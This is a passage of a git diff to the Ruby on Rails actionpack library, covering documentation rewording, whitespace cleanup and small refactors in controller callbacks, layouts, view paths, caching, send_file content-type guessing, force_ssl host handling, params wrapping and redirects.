_insert_callbacks(names, blk) do |name, options| - options[:if] = (Array.wrap(options[:if]) << "!halted") if #{filter == :after} - set_callback(:process_action, :#{filter}, name, options.merge(:prepend => true)) - end - end + def prepend_#{filter}_filter(*names, &blk) # def prepend_before_filter(*names, &blk) + _insert_callbacks(names, blk) do |name, options| # _insert_callbacks(names, blk) do |name, options| + options[:if] = (Array.wrap(options[:if]) << "!halted") if #{filter == :after} # options[:if] = (Array.wrap(options[:if]) << "!halted") if false + set_callback(:process_action, :#{filter}, name, options.merge(:prepend => true)) # set_callback(:process_action, :before, name, options.merge(:prepend => true)) + end # end + end # end # Skip a before, after or around filter. See _insert_callbacks # for details on the allowed parameters. - def skip_#{filter}_filter(*names, &blk) - _insert_callbacks(names, blk) do |name, options| - skip_callback(:process_action, :#{filter}, name, options) - end - end + def skip_#{filter}_filter(*names, &blk) # def skip_before_filter(*names, &blk) + _insert_callbacks(names, blk) do |name, options| # _insert_callbacks(names, blk) do |name, options| + skip_callback(:process_action, :#{filter}, name, options) # skip_callback(:process_action, :before, name, options) + end # end + end # end # *_filter is the same as append_*_filter - alias_method :append_#{filter}_filter, :#{filter}_filter + alias_method :append_#{filter}_filter, :#{filter}_filter # alias_method :append_before_filter, :before_filter RUBY_EVAL end end diff --git a/actionpack/lib/abstract_controller/helpers.rb b/actionpack/lib/abstract_controller/helpers.rb index dc9778a416..77cc4c07d9 100644 --- a/actionpack/lib/abstract_controller/helpers.rb +++ b/actionpack/lib/abstract_controller/helpers.rb @@ -67,7 +67,7 @@ module AbstractController # helper FooHelper # => includes FooHelper # # When the argument is a string or symbol, the method will provide the "_helper" suffix, require the file - # and include the module in the template class. The second form illustrates how to include custom helpers + # and include the module in the template class. The second form illustrates how to include custom helpers # when working with namespaced controllers, or other cases where the file containing the helper definition is not # in one of Rails' standard load paths: # helper :foo # => requires 'foo_helper' and includes FooHelper diff --git a/actionpack/lib/abstract_controller/layouts.rb b/actionpack/lib/abstract_controller/layouts.rb index 8f73e244d7..10aa34c76b 100644 --- a/actionpack/lib/abstract_controller/layouts.rb +++ b/actionpack/lib/abstract_controller/layouts.rb @@ -81,11 +81,12 @@ module AbstractController # class EmployeeController < BankController # layout nil # - # The InformationController uses "bank_standard" inherited from the BankController, the VaultController overwrites - # and picks the layout dynamically, and the EmployeeController doesn't want to use a layout at all. - # - # The TellerController uses +teller.html.erb+, and TillController inherits that layout and - # uses it as well. + # In these examples: + # * The InformationController uses the "bank_standard" layout, inherited from BankController. + # * The TellerController follows convention and uses +app/views/layouts/teller.html.erb+. + # * The TillController inherits the layout from TellerController and uses +teller.html.erb+ as well. + # * The VaultController chooses a layout dynamically by calling the <tt>access_level_layout</tt> method. + # * The EmployeeController does not use a layout at all. # # == Types of layouts # @@ -138,8 +139,8 @@ module AbstractController # # end # - # This will assign "weblog_standard" as the WeblogController's layout except for the +rss+ action, which will not wrap a layout - # around the rendered view. + # This will assign "weblog_standard" as the WeblogController's layout for all actions except for the +rss+ action, which will + # be rendered directly, without wrapping a layout around the rendered view. # # Both the <tt>:only</tt> and <tt>:except</tt> condition can accept an arbitrary number of method references, so # #<tt>:except => [ :rss, :text_only ]</tt> is valid, as is <tt>:except => :rss</tt>. @@ -158,7 +159,7 @@ module AbstractController # end # end # - # This will render the help action with the "help" layout instead of the controller-wide "weblog_standard" layout. + # This will override the controller-wide "weblog_standard" layout, and will render the help action with the "help" layout instead. module Layouts extend ActiveSupport::Concern @@ -166,6 +167,7 @@ module AbstractController included do class_attribute :_layout_conditions + remove_possible_method :_layout_conditions delegate :_layout_conditions, :to => :'self.class' self._layout_conditions = {} _write_layout_method diff --git a/actionpack/lib/abstract_controller/rendering.rb b/actionpack/lib/abstract_controller/rendering.rb index ab2c532859..41fdc11196 100644 --- a/actionpack/lib/abstract_controller/rendering.rb +++ b/actionpack/lib/abstract_controller/rendering.rb @@ -120,8 +120,6 @@ module AbstractController view_renderer.render(view_context, options) end - private - DEFAULT_PROTECTED_INSTANCE_VARIABLES = %w( @_action_name @_response_body @_formats @_prefixes @_config @_view_context_class @_view_renderer @_lookup_context @@ -139,6 +137,8 @@ module AbstractController hash end + private + # Normalize args and options. # :api: private def _normalize_render(*args, &block) diff --git a/actionpack/lib/abstract_controller/view_paths.rb b/actionpack/lib/abstract_controller/view_paths.rb index 6b7aae8c74..e8394447a7 100644 --- a/actionpack/lib/abstract_controller/view_paths.rb +++ b/actionpack/lib/abstract_controller/view_paths.rb @@ -1,3 +1,5 @@ +require 'action_view/base' + module AbstractController module ViewPaths extend ActiveSupport::Concern @@ -63,7 +65,7 @@ module AbstractController # the default view path. You may also provide a custom view path # (see ActionView::PathSet for more information) def append_view_path(path) - self.view_paths = view_paths.dup + Array(path) + self._view_paths = view_paths + Array(path) end # Prepend a path to the list of view paths for this controller. @@ -73,7 +75,7 @@ module AbstractController # the default view path. You may also provide a custom view path # (see ActionView::PathSet for more information) def prepend_view_path(path) - self.view_paths = Array(path) + view_paths.dup + self._view_paths = ActionView::PathSet.new(Array(path) + view_paths) end # A list of all of the default view paths for this controller. @@ -87,8 +89,7 @@ module AbstractController # * <tt>paths</tt> - If a PathSet is provided, use that; # otherwise, process the parameter into a PathSet. def view_paths=(paths) - self._view_paths = ActionView::Base.process_view_paths(paths) - self._view_paths.freeze + self._view_paths = ActionView::PathSet.new(Array.wrap(paths)) end end end diff --git a/actionpack/lib/action_controller.rb b/actionpack/lib/action_controller.rb index eba5e9377b..f4eaa2fd1b 100644 --- a/actionpack/lib/action_controller.rb +++ b/actionpack/lib/action_controller.rb @@ -37,30 +37,16 @@ module ActionController autoload :UrlFor end - autoload :Integration, 'action_controller/deprecated/integration_test' - autoload :IntegrationTest, 'action_controller/deprecated/integration_test' - autoload :PerformanceTest, 'action_controller/deprecated/performance_test' - autoload :UrlWriter, 'action_controller/deprecated' - autoload :Routing, 'action_controller/deprecated' - autoload :TestCase, 'action_controller/test_case' + autoload :Integration, 'action_controller/deprecated/integration_test' + autoload :IntegrationTest, 'action_controller/deprecated/integration_test' + autoload :PerformanceTest, 'action_controller/deprecated/performance_test' + autoload :UrlWriter, 'action_controller/deprecated' + autoload :Routing, 'action_controller/deprecated' + autoload :TestCase, 'action_controller/test_case' + autoload :TemplateAssertions, 'action_controller/test_case' eager_autoload do autoload :RecordIdentifier - - # TODO: Don't autoload exceptions, setup explicit - # requires for files that need them - autoload_at "action_controller/metal/exceptions" do - autoload :ActionControllerError - autoload :RenderError - autoload :RoutingError - autoload :MethodNotAllowed - autoload :NotImplemented - autoload :UnknownController - autoload :MissingFile - autoload :RenderError - autoload :SessionOverflowError - autoload :UnknownHttpMethod - end end end diff --git a/actionpack/lib/action_controller/base.rb b/actionpack/lib/action_controller/base.rb index c03c77cb4a..98bfe72fef 100644 --- a/actionpack/lib/action_controller/base.rb +++ b/actionpack/lib/action_controller/base.rb @@ -31,7 +31,7 @@ module ActionController # "302 Moved" HTTP response that takes the user to the index action. # # These two methods represent the two basic action archetypes used in Action Controllers. Get-and-show and do-and-redirect. - # Most actions are variations of these themes. + # Most actions are variations on these themes. # # == Requests # @@ -50,7 +50,7 @@ module ActionController # # All request parameters, whether they come from a GET or POST request, or from the URL, are available through the params method # which returns a hash. For example, an action that was performed through <tt>/posts?category=All&limit=5</tt> will include - # <tt>{ "category" => "All", "limit" => 5 }</tt> in params. + # <tt>{ "category" => "All", "limit" => "5" }</tt> in params. # # It's also possible to construct multi-dimensional parameter hashes by specifying keys using brackets, such as: # @@ -63,7 +63,7 @@ module ActionController # # == Sessions # - # Sessions allows you to store objects in between requests. This is useful for objects that are not yet ready to be persisted, + # Sessions allow you to store objects in between requests. This is useful for objects that are not yet ready to be persisted, # such as a Signup object constructed in a multi-paged process, or objects that don't change much and are needed all the time, such # as a User object for a system that requires login. The session should not be used, however, as a cache for objects where it's likely # they could be changed unknowingly. It's usually too much work to keep it all synchronized -- something databases already excel at. @@ -116,8 +116,8 @@ module ActionController # # Title: <%= @post.title %> # - # You don't have to rely on the automated rendering. Especially actions that could result in the rendering of different templates will use - # the manual rendering methods: + # You don't have to rely on the automated rendering. For example, actions that could result in the rendering of different templates + # will use the manual rendering methods: # # def search # @results = Search.find(params[:query]) @@ -132,9 +132,9 @@ module ActionController # # == Redirects # - # Redirects are used to move from one action to another. For example, after a <tt>create</tt> action, which stores a blog entry to a database, - # we might like to show the user the new entry. Because we're following good DRY principles (Don't Repeat Yourself), we're going to reuse (and redirect to) - # a <tt>show</tt> action that we'll assume has already been created. The code might look like this: + # Redirects are used to move from one action to another. For example, after a <tt>create</tt> action, which stores a blog entry to the + # database, we might like to show the user the new entry. Because we're following good DRY principles (Don't Repeat Yourself), we're + # going to reuse (and redirect to) a <tt>show</tt> action that we'll assume has already been created. The code might look like this: # # def create # @entry = Entry.new(params[:entry]) @@ -146,7 +146,9 @@ module ActionController # end # end # - # In this case, after saving our new entry to the database, the user is redirected to the <tt>show</tt> method which is then executed. + # In this case, after saving our new entry to the database, the user is redirected to the <tt>show</tt> method, which is then executed. + # Note that this is an external HTTP-level redirection which will cause the browser to make a second request (a GET to the show action), + # and not some internal re-routing which calls both "create" and then "show" within one request. # # Learn more about <tt>redirect_to</tt> and what options you have in ActionController::Redirecting. # @@ -210,16 +212,16 @@ module ActionController # also include them at the bottom. AbstractController::Callbacks, + # Append rescue at the bottom to wrap as much as possible. + Rescue, + # Add instrumentations hooks at the bottom, to ensure they instrument # all the methods properly. Instrumentation, # Params wrapper should come before instrumentation so they are # properly showed in logs - ParamsWrapper, - - # The same with rescue, append it at the end to wrap as much as possible. - Rescue + ParamsWrapper ] MODULES.each do |mod| diff --git a/actionpack/lib/action_controller/caching/actions.rb b/actionpack/lib/action_controller/caching/actions.rb index 5fc6956266..f988de39dd 100644 --- a/actionpack/lib/action_controller/caching/actions.rb +++ b/actionpack/lib/action_controller/caching/actions.rb @@ -38,9 +38,9 @@ module ActionController #:nodoc: # <tt>:action => 'lists'</tt> is not the same as # <tt>:action => 'list', :format => :xml</tt>. # - # You can set modify the default action cache path by passing a - # <tt>:cache_path</tt> option. This will be passed directly to - # <tt>ActionCachePath.path_for</tt>. This is handy for actions with + # You can modify the default action cache path by passing a + # <tt>:cache_path</tt> option. This will be passed directly to + # <tt>ActionCachePath.path_for</tt>. This is handy for actions with # multiple possible routes that should be cached differently. If a # block is given, it is called with the current controller instance. # @@ -175,7 +175,7 @@ module ActionController #:nodoc: private def normalize!(path) path << 'index' if path[-1] == ?/ - path << ".#{extension}" if extension and !path.ends_with?(extension) + path << ".#{extension}" if extension and !path.split('?').first.ends_with?(".#{extension}") URI.parser.unescape(path) end end diff --git a/actionpack/lib/action_controller/caching/fragments.rb b/actionpack/lib/action_controller/caching/fragments.rb index 0be04b70a1..abeb49d16f 100644 --- a/actionpack/lib/action_controller/caching/fragments.rb +++ b/actionpack/lib/action_controller/caching/fragments.rb @@ -12,13 +12,13 @@ module ActionController #:nodoc: # # <% cache do %> # All the topics in the system: - # <%= render :partial => "topic", :collection => Topic.find(:all) %> + # <%= render :partial => "topic", :collection => Topic.all %> # <% end %> # # This cache will bind the name of the action that called it, so if # this code was part of the view for the topics/list action, you # would be able to invalidate it using: - # + # # expire_fragment(:controller => "topics", :action => "list") # # This default behavior is limited if you need to cache multiple @@ -109,7 +109,6 @@ module ActionController #:nodoc: def expire_fragment(key, options = nil) return unless cache_configured? key = fragment_cache_key(key) unless key.is_a?(Regexp) - message = nil instrument_fragment_cache :expire_fragment, key do if key.is_a?(Regexp) diff --git a/actionpack/lib/action_controller/caching/pages.rb b/actionpack/lib/action_controller/caching/pages.rb index 8c583c7ce0..957bb7de6b 100644 --- a/actionpack/lib/action_controller/caching/pages.rb +++ b/actionpack/lib/action_controller/caching/pages.rb @@ -16,9 +16,10 @@ module ActionController #:nodoc: # caches_page :show, :new # end # - # This will generate cache files such as <tt>weblog/show/5.html</tt> and <tt>weblog/new.html</tt>, - # which match the URLs used to trigger the dynamic generation. This is how the web server is able - # pick up a cache file when it exists and otherwise let the request pass on to Action Pack to generate it. + # This will generate cache files such as <tt>weblog/show/5.html</tt> and <tt>weblog/new.html</tt>, which match the URLs used + # that would normally trigger dynamic page generation. Page caching works by configuring a web server to first check for the + # existence of files on disk, and to serve them directly when found, without passing the request through to Action Pack. + # This is much faster than handling the full dynamic request in the usual way. # # Expiration of the cache is handled by deleting the cached file, which results in a lazy regeneration approach where the cache # is not restored before another hit is made against it. The API for doing so mimics the options from +url_for+ and friends: @@ -121,7 +122,7 @@ module ActionController #:nodoc: if options.is_a?(Hash) if options[:action].is_a?(Array) - options[:action].dup.each do |action| + options[:action].each do |action| self.class.expire_page(url_for(options.merge(:only_path => true, :action => action))) end else @@ -132,8 +133,8 @@ module ActionController #:nodoc: end end - # Manually cache the +content+ in the key determined by +options+. If no content is provided, the contents of response.body is used - # If no options are provided, the requested url is used. Example: + # Manually cache the +content+ in the key determined by +options+. If no content is provided, the contents of response.body is used. + # If no options are provided, the url of the current request being handled is used. Example: # cache_page "I'm the cached content", :controller => "lists", :action => "show" def cache_page(content = nil, options = nil) return unless self.class.perform_caching && caching_allowed? diff --git a/actionpack/lib/action_controller/caching/sweeping.rb b/actionpack/lib/action_controller/caching/sweeping.rb index e9db0d97b6..49cf70ec21 100644 --- a/actionpack/lib/action_controller/caching/sweeping.rb +++ b/actionpack/lib/action_controller/caching/sweeping.rb @@ -61,6 +61,7 @@ module ActionController #:nodoc: end def after(controller) + self.controller = controller callback(:after) if controller.perform_caching # Clean up, so that the controller can be collected after this request self.controller = nil @@ -87,7 +88,7 @@ module ActionController #:nodoc: end def method_missing(method, *arguments, &block) - return if @controller.nil? + return unless @controller @controller.__send__(method, *arguments, &block) end end diff --git a/actionpack/lib/action_controller/log_subscriber.rb b/actionpack/lib/action_controller/log_subscriber.rb index 8d813a8e38..35e29398e6 100644 --- a/actionpack/lib/action_controller/log_subscriber.rb +++ b/actionpack/lib/action_controller/log_subscriber.rb @@ -10,7 +10,7 @@ module ActionController format = payload[:format] format = format.to_s.upcase if format.is_a?(Symbol) - info " Processing by #{payload[:controller]}##{payload[:action]} as #{format}" + info "Processing by #{payload[:controller]}##{payload[:action]} as #{format}" info " Parameters: #{params.inspect}" unless params.empty? end @@ -20,10 +20,11 @@ module ActionController status = payload[:status] if status.nil? && payload[:exception].present? - status = Rack::Utils.status_code(ActionDispatch::ShowExceptions.rescue_responses[payload[:exception].first]) rescue nil - end + status = Rack::Utils.status_code(ActionDispatch::ShowExceptions.rescue_responses[payload[:exception].first]) rescue nil + end message = "Completed #{status} #{Rack::Utils::HTTP_STATUS_CODES[status]} in %.0fms" % event.duration message << " (#{additions.join(" | ")})" unless additions.blank? + message << "\n" info(message) end @@ -59,4 +60,4 @@ module ActionController end end -ActionController::LogSubscriber.attach_to :action_controller
\ No newline at end of file +ActionController::LogSubscriber.attach_to :action_controller diff --git a/actionpack/lib/action_controller/metal/data_streaming.rb b/actionpack/lib/action_controller/metal/data_streaming.rb index 997bc6e958..0670a58d97 100644 --- a/actionpack/lib/action_controller/metal/data_streaming.rb +++ b/actionpack/lib/action_controller/metal/data_streaming.rb @@ -1,4 +1,5 @@ require 'active_support/core_ext/file/path' +require 'action_controller/metal/exceptions' module ActionController #:nodoc: # Methods for sending arbitrary data and for streaming files to the browser, @@ -16,7 +17,7 @@ module ActionController #:nodoc: protected # Sends the file. This uses a server-appropriate method (such as X-Sendfile) # via the Rack::Sendfile middleware. The header to use is set via - # config.action_dispatch.x_sendfile_header, and defaults to "X-Sendfile". + # config.action_dispatch.x_sendfile_header. # Your server can also configure this for you by setting the X-Sendfile-Type header. # # Be careful to sanitize the path parameter if it is coming from a web @@ -26,18 +27,21 @@ module ActionController #:nodoc: # Options: # * <tt>:filename</tt> - suggests a filename for the browser to use. # Defaults to <tt>File.basename(path)</tt>. - # * <tt>:type</tt> - specifies an HTTP content type. Defaults to 'application/octet-stream'. You can specify - # either a string or a symbol for a registered type register with <tt>Mime::Type.register</tt>, for example :json + # * <tt>:type</tt> - specifies an HTTP content type. + # You can specify either a string or a symbol for a registered type register with + # <tt>Mime::Type.register</tt>, for example :json + # If omitted, type will be guessed from the file extension specified in <tt>:filename</tt>. + # If no content type is registered for the extension, default type 'application/octet-stream' will be used. # * <tt>:disposition</tt> - specifies whether the file will be shown inline or downloaded. # Valid values are 'inline' and 'attachment' (default). - # * <tt>:status</tt> - specifies the status code to send with the response. Defaults to '200 OK'. + # * <tt>:status</tt> - specifies the status code to send with the response. Defaults to 200. # * <tt>:url_based_filename</tt> - set to +true+ if you want the browser guess the filename from # the URL, which is necessary for i18n filenames on certain browsers # (setting <tt>:filename</tt> overrides this option). # # The default Content-Type and Content-Disposition headers are # set to download arbitrary binary files in as many browsers as - # possible. IE versions 4, 5, 5.5, and 6 are all known to have + # possible. IE versions 4, 5, 5.5, and 6 are all known to have # a variety of quirks (especially when downloading over SSL). # # Simple download: @@ -58,8 +62,8 @@ module ActionController #:nodoc: # # Also be aware that the document may be cached by proxies and browsers. # The Pragma and Cache-Control headers declare how the file may be cached - # by intermediaries. They default to require clients to validate with - # the server before releasing cached responses. See + # by intermediaries. They default to require clients to validate with + # the server before releasing cached responses. See # http://www.mnot.net/cache_docs/ for an overview of web caching and # http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9 # for the Cache-Control header spec. @@ -84,9 +88,11 @@ module ActionController #:nodoc: # * <tt>:filename</tt> - suggests a filename for the browser to use. # * <tt>:type</tt> - specifies an HTTP content type. Defaults to 'application/octet-stream'. You can specify # either a string or a symbol for a registered type register with <tt>Mime::Type.register</tt>, for example :json + # If omitted, type will be guessed from the file extension specified in <tt>:filename</tt>. + # If no content type is registered for the extension, default type 'application/octet-stream' will be used. # * <tt>:disposition</tt> - specifies whether the file will be shown inline or downloaded. # Valid values are 'inline' and 'attachment' (default). - # * <tt>:status</tt> - specifies the status code to send with the response. Defaults to '200 OK'. + # * <tt>:status</tt> - specifies the status code to send with the response. Defaults to 200. # # Generic data download: # @@ -108,6 +114,8 @@ module ActionController #:nodoc: private def send_file_headers!(options) + type_provided = options.has_key?(:type) + options.update(DEFAULT_SEND_FILE_OPTIONS.merge(options)) [:type, :disposition].each do |arg| raise ArgumentError, ":#{arg} option required" if options[arg].nil? @@ -123,6 +131,10 @@ module ActionController #:nodoc: raise ArgumentError, "Unknown MIME type #{options[:type]}" unless extension self.content_type = extension else + if !type_provided && options[:filename] + # If type wasn't provided, try guessing from file extension. + content_type = Mime::Type.lookup_by_extension(File.extname(options[:filename]).downcase.tr('.','')) || content_type + end self.content_type = content_type end diff --git a/actionpack/lib/action_controller/metal/force_ssl.rb b/actionpack/lib/action_controller/metal/force_ssl.rb index eb8ed7dfbd..0fd42f9d8a 100644 --- a/actionpack/lib/action_controller/metal/force_ssl.rb +++ b/actionpack/lib/action_controller/metal/force_ssl.rb @@ -1,12 +1,12 @@ module ActionController - # This module provides a method which will redirects browser to use HTTPS + # This module provides a method which will redirect browser to use HTTPS # protocol. This will ensure that user's sensitive information will be # transferred safely over the internet. You _should_ always force browser # to use HTTPS when you're transferring sensitive information such as # user authentication, account information, or credit card information. # - # Note that if you really concern about your application safety, you might - # consider using +config.force_ssl+ in your configuration config file instead. + # Note that if you are really concerned about your application security, + # you might consider using +config.force_ssl+ in your config file instead. # That will ensure all the data transferred via HTTPS protocol and prevent # user from getting session hijacked when accessing the site under unsecured # HTTP protocol. @@ -24,12 +24,15 @@ module ActionController # * <tt>only</tt> - The callback should be run only for this action # * <tt>except<tt> - The callback should be run for all actions except this action def force_ssl(options = {}) + host = options.delete(:host) before_filter(options) do if !request.ssl? && !Rails.env.development? - redirect_to :protocol => 'https://', :status => :moved_permanently + redirect_options = {:protocol => 'https://', :status => :moved_permanently} + redirect_options.merge!(:host => host) if host + redirect_to redirect_options end end end end end -end
\ No newline at end of file +end diff --git a/actionpack/lib/action_controller/metal/head.rb b/actionpack/lib/action_controller/metal/head.rb index 8abcad55a2..a618533d09 100644 --- a/actionpack/lib/action_controller/metal/head.rb +++ b/actionpack/lib/action_controller/metal/head.rb @@ -9,6 +9,8 @@ module ActionController # # head :created, :location => person_path(@person) # + # head :created, :location => @person + # # It can also be used to return exceptional conditions: # # return head(:method_not_allowed) unless request.post? diff --git a/actionpack/lib/action_controller/metal/helpers.rb b/actionpack/lib/action_controller/metal/helpers.rb index 75757db564..bd515bba82 100644 --- a/actionpack/lib/action_controller/metal/helpers.rb +++ b/actionpack/lib/action_controller/metal/helpers.rb @@ -7,9 +7,12 @@ module ActionController # by default. # # In addition to using the standard template helpers provided, creating custom helpers to - # extract complicated logic or reusable functionality is strongly encouraged. By default, the controller will - # include a helper whose name matches that of the controller, e.g., <tt>MyController</tt> will automatically - # include <tt>MyHelper</tt>. + # extract complicated logic or reusable functionality is strongly encouraged. By default, each controller + # will include all helpers. + # + # In previous versions of \Rails the controller will include a helper whose + # name matches that of the controller, e.g., <tt>MyController</tt> will automatically + # include <tt>MyHelper</tt>. To return old behavior set +config.action_controller.include_all_helpers+ to +false+. # # Additional helpers can be specified using the +helper+ class method in ActionController::Base or any # controller which inherits from it. @@ -29,7 +32,7 @@ module ActionController # class EventsController < ActionController::Base # helper FormattedTimeHelper # def index - # @events = Event.find(:all) + # @events = Event.all # end # end # diff --git a/actionpack/lib/action_controller/metal/http_authentication.rb b/actionpack/lib/action_controller/metal/http_authentication.rb index 1d6df89007..264806cd36 100644 --- a/actionpack/lib/action_controller/metal/http_authentication.rb +++ b/actionpack/lib/action_controller/metal/http_authentication.rb @@ -106,7 +106,7 @@ module ActionController module ControllerMethods extend ActiveSupport::Concern - + module ClassMethods def http_basic_authenticate_with(options = {}) before_filter(options.except(:name, :password, :realm)) do @@ -116,7 +116,7 @@ module ActionController end end end - + def authenticate_or_request_with_http_basic(realm = "Application", &login_procedure) authenticate_with_http_basic(&login_procedure) || request_http_basic_authentication(realm) end @@ -145,7 +145,7 @@ module ActionController end def encode_credentials(user_name, password) - "Basic #{ActiveSupport::Base64.encode64("#{user_name}:#{password}")}" + "Basic #{ActiveSupport::Base64.encode64s("#{user_name}:#{password}")}" end def authentication_request(controller, realm) @@ -400,7 +400,7 @@ module ActionController # the present token and options. # # controller - ActionController::Base instance for the current request. - # login_procedure - Proc to call if a token is present. The Proc should + # login_procedure - Proc to call if a token is present. The Proc should # take 2 arguments: # authenticate(controller) { |token, options| ... } # @@ -413,7 +413,7 @@ module ActionController end end - # Parses the token and options out of the token authorization header. If + # Parses the token and options out of the token authorization header. If # the header looks like this: # Authorization: Token token="abc", nonce="def" # Then the returned token is "abc", and the options is {:nonce => "def"} @@ -423,7 +423,7 @@ module ActionController # Returns an Array of [String, Hash] if a token is present. # Returns nil if no token is found. def token_and_options(request) - if header = request.authorization.to_s[/^Token (.*)/] + if request.authorization.to_s[/^Token (.*)/] values = Hash[$1.split(',').map do |value| value.strip! # remove any spaces between commas and values key, value = value.split(/\=\"?/) # split key=value pairs diff --git a/actionpack/lib/action_controller/metal/instrumentation.rb b/actionpack/lib/action_controller/metal/instrumentation.rb index 16cbbce2fb..777a0ab343 100644 --- a/actionpack/lib/action_controller/metal/instrumentation.rb +++ b/actionpack/lib/action_controller/metal/instrumentation.rb @@ -19,7 +19,7 @@ module ActionController :controller => self.class.name, :action => self.action_name, :params => request.filtered_parameters, - :format => request.format.ref, + :format => request.format.try(:ref), :method => request.method, :path => (request.fullpath rescue "unknown") } @@ -58,8 +58,8 @@ module ActionController def redirect_to(*args) ActiveSupport::Notifications.instrument("redirect_to.action_controller") do |payload| result = super - payload[:status] = self.status - payload[:location] = self.location + payload[:status] = response.status + payload[:location] = response.location result end end @@ -97,4 +97,4 @@ module ActionController end end end -end
\ No newline at end of file +end diff --git a/actionpack/lib/action_controller/metal/mime_responds.rb b/actionpack/lib/action_controller/metal/mime_responds.rb index f10287afb4..00bd1706e7 100644 --- a/actionpack/lib/action_controller/metal/mime_responds.rb +++ b/actionpack/lib/action_controller/metal/mime_responds.rb @@ -42,8 +42,8 @@ module ActionController #:nodoc: def respond_to(*mimes) options = mimes.extract_options! - only_actions = Array(options.delete(:only)) - except_actions = Array(options.delete(:except)) + only_actions = Array(options.delete(:only)).map(&:to_s) + except_actions = Array(options.delete(:except)).map(&:to_s) new = mimes_for_respond_to.dup mimes.each do |mime| @@ -245,7 +245,7 @@ module ActionController #:nodoc: # current action. # def collect_mimes_from_class_level #:nodoc: - action = action_name.to_sym + action = action_name.to_s self.class.mimes_for_respond_to.keys.select do |mime| config = self.class.mimes_for_respond_to[mime] diff --git a/actionpack/lib/action_controller/metal/params_wrapper.rb b/actionpack/lib/action_controller/metal/params_wrapper.rb index 5500f88930..e0d8e1c992 100644 --- a/actionpack/lib/action_controller/metal/params_wrapper.rb +++ b/actionpack/lib/action_controller/metal/params_wrapper.rb @@ -6,31 +6,30 @@ require 'active_support/core_ext/module/anonymous' require 'action_dispatch/http/mime_types' module ActionController - # Wraps parameters hash into nested hash. This will allow client to submit - # POST request without having to specify a root element in it. + # Wraps the parameters hash into a nested hash. This will allow clients to submit + # POST requests without having to specify any root elements. # - # By default this functionality won't be enabled. You can enable - # it globally by setting +ActionController::Base.wrap_parameters+: - # - # ActionController::Base.wrap_parameters = [:json] + # This functionality is enabled in +config/initializers/wrap_parameters.rb+ + # and can be customized. If you are upgrading to \Rails 3.1, this file will + # need to be created for the functionality to be enabled. # # You could also turn it on per controller by setting the format array to - # non-empty array: + # a non-empty array: # # class UsersController < ApplicationController # wrap_parameters :format => [:json, :xml] # end # - # If you enable +ParamsWrapper+ for +:json+ format. Instead of having to + # If you enable +ParamsWrapper+ for +:json+ format, instead of having to # send JSON parameters like this: # # {"user": {"name": "Konata"}} # - # You can now just send a parameters like this: + # You can send parameters like this: # # {"name": "Konata"} # - # And it will be wrapped into a nested hash with the key name matching + # And it will be wrapped into a nested hash with the key name matching the # controller's name. For example, if you're posting to +UsersController+, # your new +params+ hash will look like this: # @@ -64,7 +63,7 @@ module ActionController # end # # will try to check if +Admin::User+ or +User+ model exists, and use it to - # determine the wrapper key respectively. If both of the model doesn't exists, + # determine the wrapper key respectively. If both models don't exist, # it will then fallback to use +user+ as the key. module ParamsWrapper extend ActiveSupport::Concern @@ -82,20 +81,20 @@ module ActionController # # ==== Examples # wrap_parameters :format => :xml - # # enables the parmeter wrapper for XML format + # # enables the parameter wrapper for XML format # # wrap_parameters :person # # wraps parameters into +params[:person]+ hash # # wrap_parameters Person - # # wraps parameters by determine the wrapper key from Person class + # # wraps parameters by determining the wrapper key from Person class # (+person+, in this case) and the list of attribute names # # wrap_parameters :include => [:username, :title] # # wraps only +:username+ and +:title+ attributes from parameters. # # wrap_parameters false - # # disable parameters wrapping for this controller altogether. + # # disables parameters wrapping for this controller altogether. # # ==== Options # * <tt>:format</tt> - The list of formats in which the parameters wrapper @@ -142,19 +141,16 @@ module ActionController # try to find Foo::Bar::User, Foo::User and finally User. def _default_wrap_model #:nodoc: return nil if self.anonymous? - model_name = self.name.sub(/Controller$/, '').singularize begin - model_klass = model_name.constantize - rescue NameError, ArgumentError => e - if e.message =~ /is not missing constant|uninitialized constant #{model_name}/ + if model_klass = model_name.safe_constantize + model_klass + else namespaces = model_name.split("::") namespaces.delete_at(-2) break if namespaces.last == model_name model_name = namespaces.join("::") - else - raise end end until model_klass diff --git a/actionpack/lib/action_controller/metal/redirecting.rb b/actionpack/lib/action_controller/metal/redirecting.rb index 55c650df6c..0355c9f458 100644 --- a/actionpack/lib/action_controller/metal/redirecting.rb +++ b/actionpack/lib/action_controller/metal/redirecting.rb @@ -43,8 +43,9 @@ module ActionController # # The status code can either be a standard {HTTP Status code}[http://www.iana.org/assignments/http-status-codes] as an # integer, or a symbol representing the downcased, underscored and symbolized description. + # Note that the status code must be a 3xx HTTP code, or redirection will not occur. # - # It is also possible to assign a flash message as part of the redirection. There are two special accessors for commonly used the flash names + # It is also possible to assign a flash message as part of the redirection. There are two special accessors for the commonly used flash names # +alert+ and +notice+ as well as a general purpose +flash+ bucket. # # Examples: @@ -53,10 +54,10 @@ module ActionController # redirect_to post_url(@post), :status => 301, :flash => { :updated_post_id => @post.id } # redirect_to { :action=>'atom' }, :alert => "Something serious happened" # - # When using <tt>redirect_to :back</tt>, if there is no referrer, RedirectBackError will be raised. You may specify some fallback - # behavior for this case by rescuing RedirectBackError. + # When using <tt>redirect_to :back</tt>, if there is no referrer, ActionController::RedirectBackError will be raised. You may specify some fallback + # behavior for this case by rescuing ActionController::RedirectBackError. def redirect_to(options = {}, response_status = {}) #:doc: - raise ActionControllerError.new("Cannot redirect to nil!") if options.nil? + raise ActionControllerError.new("Cannot redirect to nil!") unless options raise AbstractController::DoubleRenderError if response_body self.status = _extract_redirect_to_status(options, response_status) diff --git a/actionpack/lib/action_controller/metal/request_forgery_protection.rb b/actionpack/lib/action_controller/metal/request_forgery_protection.rb index 13044a7450..bc22e39efb 100644 --- a/actionpack/lib/action_controller/metal/request_forgery_protection.rb +++ b/actionpack/lib/action_controller/metal/request_forgery_protection.rb @@ -1,4 +1,5 @@ require 'active_support/core_ext/class/attribute' +require 'action_controller/metal/exceptions' module ActionController #:nodoc: class InvalidAuthenticityToken < ActionControllerError #:nodoc: @@ -7,17 +8,16 @@ module ActionController #:nodoc: # Controller actions are protected from Cross-Site Request Forgery (CSRF) attacks # by including a token in the rendered html for your application. This token is # stored as a random string in the session, to which an attacker does not have - # access. When a request reaches your application, \Rails then verifies the received - # token with the token in the session. Only HTML and javascript requests are checked, + # access. When a request reaches your application, \Rails verifies the received + # token with the token in the session. Only HTML and JavaScript requests are checked, # so this will not protect your XML API (presumably you'll have a different # authentication scheme there anyway). Also, GET requests are not protected as these # should be idempotent. # # CSRF protection is turned on with the 